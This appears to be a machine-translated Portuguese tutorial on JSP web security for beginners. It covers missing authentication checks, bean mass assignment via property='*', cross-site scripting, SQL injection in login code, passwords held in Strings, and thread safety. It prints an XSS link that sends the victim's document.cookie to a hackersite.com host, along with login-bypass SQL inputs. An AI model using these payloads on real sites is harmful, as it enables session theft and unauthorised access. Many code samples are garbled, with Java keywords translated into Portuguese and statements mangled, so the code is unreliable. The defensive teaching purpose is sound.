Java Server Page (JSP) está se tornando cada vez mais popular como tecnologia para criação de páginas web dinâmicas. JSP, ASP e PHP possuem mecanismos de funcionamento diferentes. De modo geral, as páginas JSP são compiladas em vez de interpretadas quando executadas. A primeira chamada para um arquivo JSP é na verdade um processo de compilação em um Servlet. Quando o navegador solicitar este arquivo JSP do servidor, o servidor verificará se o arquivo JSP foi alterado desde a última compilação. Se não houver alteração, o Servlet será executado diretamente sem recompilar. melhorou. .
Hoje examinarei com você a segurança do JSP da perspectiva da programação de scripts. Os riscos de segurança, como a exposição do código-fonte, estão além do escopo deste artigo. O principal objetivo de escrever este artigo é lembrar aos amigos que são novos na programação JSP que cultivem a consciência da programação segura desde o início, não cometam erros que não deveriam ser cometidos e evitem perdas evitáveis. Além disso, também sou iniciante. Se você tiver algum erro ou outra opinião, poste e me avise.
1. Autenticação frouxa - erros de baixo nível
Na versão revisada do Yiyang Forum v1.12,
user_manager.jsp é uma página gerenciada pelo usuário. O autor conhece sua sensibilidade e adiciona um bloqueio:
if ((session.getValue( "UserName"). )==nulo)││(session.getValue("UserClass")==nulo)││(! session.getValue("UserClass").equals("Administrador do Sistema")))
{
resposta.sendRedirect("err.jsp?id=14");
retornar;
}
Se desejar visualizar e modificar as informações de um usuário, você deverá usar o arquivo modificaruser_manager.jsp. Enviado pelo administrador
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
Serve para visualizar e modificar as informações do usuário com ID 51 (o ID de usuário padrão do administrador é 51). No entanto, um documento tão importante carece de autenticação. Os utilizadores comuns (incluindo turistas) podem submeter directamente o pedido acima e ter uma visão clara do mesmo (a palavra-passe também é armazenada e apresentada em texto simples). modificaruser_manage.jsp também está aberto. Somente quando o usuário mal-intencionado concluir a operação de atualização de dados e redirecionar para user_manager.jsp é que ele verá a página que exibe tardiamente o erro. Obviamente, apenas trancar uma porta não é suficiente. Ao programar, você deve se dar ao trabalho de adicionar autenticação de identidade a todos os locais onde a autenticação de identidade deve ser adicionada.
2. Mantenha a entrada do JavaBean
O núcleo da tecnologia de componentes JSP é o componente Java chamado bean. No programa, o controle lógico e as operações do banco de dados podem ser colocados no componente Javabeans e depois chamados no arquivo JSP, o que pode aumentar a clareza do programa e a capacidade de reutilização do programa. Em comparação com as páginas ASP ou PHP tradicionais, as páginas JSP são muito simples porque muitos processos dinâmicos de processamento de páginas podem ser encapsulados em JavaBeans.
Para alterar as propriedades do JavaBean, use a tag "
O código a seguir faz parte do código-fonte de um sistema de compras eletrônico imaginário. Este arquivo é usado para exibir as informações na caixa de compras do usuário e checkout.jsp é usado para finalizar a compra.
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<head><title>Sua cesta</title></head>
<p>
Você adicionou o item
para sua cesta.
<br/>
Seu total é $
Prossiga para <a href="checkout.jsp">checkout</a>
Você notou property="*"? Isso indica que os valores de todas as variáveis inseridas pelo usuário na página JSP visível, ou enviadas diretamente através da Query String, serão armazenados nas propriedades do bean correspondente.
Normalmente, os usuários enviam solicitações como esta:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
Mas e os usuários indisciplinados? Eles podem enviar:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
Desta forma, a informação de balance=0 é armazenada no JavaBean. Quando eles clicam em “chekout” para finalizar a compra, a taxa é dispensada.
Este é exatamente o mesmo problema de segurança causado por variáveis globais no PHP. Pode-se perceber a partir disso: "property="*"" deve ser usado com cautela!
3. O ataque de longa duração de script entre sites
O ataque de script entre sites (Cross Site Scripting) refere-se à inserção manual de scripts JavaScript, VBScript, ActiveX, HTML ou Flash maliciosos no código HTML de uma página da Web remota para roubar a navegação desta privacidade dos usuários, alterar as configurações do usuário e destruir dados do usuário. Os ataques de script entre sites não afetarão a operação de servidores e programas WEB na maioria dos casos, mas representam uma séria ameaça à segurança do cliente.
Veja o Fórum Açaí (beta-1) do Fangdong.com como o exemplo mais simples. Quando enviamos
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>,
uma caixa de diálogo contendo nossas próprias informações de cookies aparecerá. Envie
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'
para redirecionar para NetEase .
Como o script não realiza nenhuma codificação ou filtragem de código malicioso ao retornar o valor da variável "nome" ao cliente, quando o usuário acessar o link de dados que incorpora a variável "nome" maliciosa, o código do script será executado no navegador do usuário, possivelmente causando consequências como vazamento de privacidade do usuário. Por exemplo, o seguinte link:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?' +document .cookie</script>
xxx.xxx é usado para coletar os seguintes parâmetros, e o parâmetro aqui especifica document.cookie, que é o cookie do usuário que acessa este link. No mundo ASP, muitas pessoas dominam a técnica de roubar cookies. Em JSP, a leitura de cookies não é difícil. É claro que o cross-site scripting nunca se limita à função de roubar cookies. Acredito que todos tenham uma certa compreensão disso, por isso não entrarei em detalhes aqui.
Todas as entradas e saídas de páginas dinâmicas devem ser codificadas para evitar, em grande medida, ataques de script entre sites. Infelizmente, codificar todos os dados não confiáveis consome muitos recursos e pode ter um impacto no desempenho do servidor Web. Um método comum é filtrar dados de entrada. Por exemplo, o código a seguir substitui caracteres perigosos:
<% String message = request.getParameter("message");
mensagem = mensagem.replace ('<','_');
mensagem = mensagem.replace ('>','_');
mensagem = mensagem.replace('"','_');
mensagem = mensagem.replace(''','_');
mensagem = mensagem.replace ('%','_');
mensagem = mensagem.replace (';','_');
mensagem = mensagem.replace ('(','_');
mensagem = mensagem.replace (')','_');
mensagem = mensagem.replace ('&','_');
message = message.replace ('+','_');
Uma maneira mais positiva é usar expressões regulares para permitir apenas a entrada de caracteres especificados:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) retorna verdadeiro;
caso contrário, retorne falso;
}
4. Sempre tenha em mente a injeção de SQL
Ao ensinar iniciantes, os livros de programação geral não prestam atenção em deixá-los desenvolver hábitos de programação seguros desde o início. O famoso "Pensamentos e Práticas de Programação JSP" demonstra aos iniciantes como escrever um sistema de login com um banco de dados (o banco de dados é MySQL):
Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "' e userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
se(rs.próximo())
resposta.sendRedirect("SuccessLogin.jsp");
outro
response.sendRedirect("FailureLogin.jsp");
Isso permite que as pessoas que acreditam no livro usem esses códigos de login "furados" por um longo tempo. Se houver um usuário chamado "jack" no banco de dados, existem pelo menos as seguintes maneiras de fazer login sem saber a senha:
Nome de usuário: jack
Senha: 'ou'a'='a
Nome de usuário: jack
Senha: 'ou 1=1/*
Nome de usuário: jack' ou 1=1/*
Senha: (qualquer)
lybbs (Fórum Lingyun) versão 2.9.Server verifica os dados enviados para login em LogInOut.java assim:
if(s.equals("") ││ s1.equals(""))
throw new UserException("Nome de usuário ou senha não podem ficar vazios.");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
throw new UserException("O nome de usuário não pode incluir caracteres ilegais como ' " \ , etc.");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("A senha não pode incluir caracteres ilegais como ' " \ *.");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("Espaços não podem ser usados em nome de usuário ou senha.");
Mas não sei por que ele filtra apenas asteriscos em senhas e não em nomes de usuário. Além disso, parece que barras também deveriam ser incluídas na "lista negra". Ainda acho que é mais simples usar expressões regulares para permitir apenas caracteres dentro de um intervalo especificado.
Uma palavra de cautela aqui: não pense que a “segurança” inerente de alguns sistemas de banco de dados possa resistir efetivamente a todos os ataques. O artigo da Pinkeyes "Exemplo de injeção de PHP" ensina uma lição para aqueles que confiam em "magic_quotes_gpc = On" no arquivo de configuração do PHP.
5. Perigos ocultos trazidos por objetos String
A plataforma Java realmente tornou a programação de segurança mais conveniente. Não há ponteiros em Java, o que significa que os programas Java não podem mais endereçar qualquer local de memória no espaço de endereço como C. Problemas de segurança são verificados quando o arquivo JSP é compilado em um arquivo .class. Por exemplo, tentativas de acessar elementos do array que excedam o tamanho do array serão rejeitadas, o que evita ataques de buffer overflow. No entanto, os objetos String nos trarão alguns riscos de segurança. Se a senha for armazenada em um objeto Java String, ela permanecerá na memória até que seja coletada como lixo ou o processo termine. Mesmo após a coleta de lixo, ele ainda existirá no heap de memória livre até que o espaço de memória seja reutilizado. Quanto mais tempo a String de senha residir na memória, maior será o risco de escuta clandestina. Pior ainda, se a memória real for reduzida, o sistema operacional paginará essa string de senha para o espaço de troca do disco, ficando vulnerável a ataques de espionagem de blocos de disco. Para minimizar (mas não eliminar) a possibilidade de tal comprometimento, você deve armazenar a senha em um array char e zerá-la após o uso (Strings são imutáveis e não podem ser zeradas).
6. Um estudo preliminar sobre segurança de threads
"O que JAVA pode fazer, JSP pode fazer". Ao contrário de linguagens de script como ASP e PHP, JSP é executado de maneira multithread por padrão. A execução multithread pode reduzir bastante os requisitos de recursos do sistema e melhorar a simultaneidade e o tempo de resposta do sistema. Threads são caminhos de execução independentes e simultâneos no programa. Cada thread possui sua própria pilha, seu próprio contador de programa e suas próprias variáveis locais. Embora a maioria das operações em um aplicativo multithread possa ser executada em paralelo, há algumas operações, como atualização de sinalizadores globais ou processamento de arquivos compartilhados, que não podem ser executadas em paralelo. Se a sincronização dos threads não for bem feita, problemas também ocorrerão durante grandes acessos simultâneos sem a “participação entusiástica” de usuários mal-intencionados. A solução mais simples é adicionar: instrução <%@ page isThreadSafe="false" %> ao arquivo JSP relevante para fazê-lo executar de maneira de thread único. Neste momento, todas as solicitações do cliente são executadas em série. Isso pode degradar gravemente o desempenho do sistema. Ainda podemos deixar o arquivo JSP ser executado de maneira multithread e sincronizar os threads bloqueando a função. Uma função mais a palavra-chave sincronizada adquire um bloqueio. Veja o exemplo a seguir:
public class MyClass{
interno;
public Init() {//Este método pode ser chamado por vários threads ao mesmo tempo a = 0;
}
public sincronizado void Set() {//Dois threads não podem chamar este método ao mesmo tempo if(a>5) {
uma= uma-5;
}
}
}
Mas isso ainda terá um certo impacto no desempenho do sistema. Uma solução melhor é usar variáveis locais em vez de variáveis de instância. Como as variáveis de instância são alocadas no heap e compartilhadas por todos os threads pertencentes à instância, elas não são thread-safe, enquanto as variáveis locais são alocadas na pilha porque cada thread tem seu próprio espaço de pilha, portanto, é thread-safe. . Por exemplo, o código para adicionar amigos no Fórum Lingyun:
public void addFriend(int i, String s, String s1)
lança DBConnectException
{
tentar
{
se……
outro
{
DBConnect dbconnect = new DBConnect("inserir em valores de amigo (authorid,friendname) (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2,s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect=nulo;
}
}
catch(Exceção exceção)
{
lança nova DBConnectException(exception.getMessage());
}
}
A chamada é a seguinte:
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("aduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
Se uma variável de instância for usada, então a variável de instância será compartilhada por todos os threads da instância. É possível que após o usuário A passar um determinado parâmetro, seu thread passe para o estado de suspensão e o parâmetro seja modificado inadvertidamente pelo usuário B, causando O fenômeno da incompatibilidade de amigos.